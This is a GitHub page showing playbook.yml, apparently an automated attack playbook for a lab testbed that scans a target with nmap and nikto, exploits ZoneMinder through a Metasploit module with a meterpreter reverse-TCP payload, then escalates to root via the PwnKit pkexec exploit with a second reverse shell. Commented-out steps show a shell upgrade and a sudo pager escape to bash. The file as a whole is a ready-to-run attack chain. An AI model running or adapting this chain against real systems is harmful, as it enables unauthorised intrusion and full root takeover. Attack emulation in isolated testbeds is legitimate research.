-
Notifications
You must be signed in to change notification settings - Fork 3
/
playbook.yml
107 lines (94 loc) · 2.21 KB
/
playbook.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
###
vars:
$SERVER_ADDRESS: 192.42.0.254
commands:
- type: shell
cmd: 'echo "Target: $SERVER_ADDRESS"'
error_if: .*test.*
- type: ssh
cmd: nmap $SERVER_ADDRESS
hostname: 10.18.3.86
username: ait
key_filename: "/home/hw/.ssh/testbed"
# cached ssh-settings
- type: ssh
cmd: "nikto -host $SERVER_ADDRESS"
- type: msf-module
cmd: exploit/unix/webapp/zoneminder_snapshots
creates_session: "foothold"
options:
RHOSTS: 192.42.0.254
payload_options:
LHOST: 192.42.2.253
payload: cmd/unix/python/meterpreter/reverse_tcp
# - type: sleep
# seconds: 60
- type: msf-module
cmd: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
session: "foothold"
creates_session: "root"
options:
WRITABLE_DIR: "/tmp"
payload_options:
LHOST: 192.42.2.253
LPORT: 4455
payload: linux/x64/shell/reverse_tcp
# - type: sleep
# seconds: 60
# - type: msf-session
# stdapi: True
# cmd: sysinfo
#
# - type: msf-session
# stdapi: True
# cmd: getuid
#
# - type: msf-session
# cmd: shell
- type: msf-session
stdapi: True
session: "foothold"
cmd: getuid
- type: msf-session
session: "root"
write: True
cmd: id
- type: msf-session
session: "root"
read: True
cmd: id
# - type: msf-session
# cmd: python3 -c "import pty;pty.spawn(\"/bin/bash\")";
#
# - type: msf-session
# cmd: export SHELL=bash
#
# - type: msf-session
# cmd: export TERM=xterm256-color
#
# - type: msf-session
# cmd: stty rows 38 columns 116
#
# - type: msf-session
# cmd: sudo -l
#
# - type: msf-session
# write: True
# cmd: "sudo dmesg -H"
#
# - type: msf-session
# write: True
# cmd: "!/bin/bash\r\n"
#
# - type: msf-session
# cmd: id
#
# - type: msf-session
# cmd: ls -l /root
#
# - type: msf-session
# cmd: exit
- type: msf-module
cmd: auxiliary/scanner/portscan/tcp
options:
RHOSTS: 192.42.0.254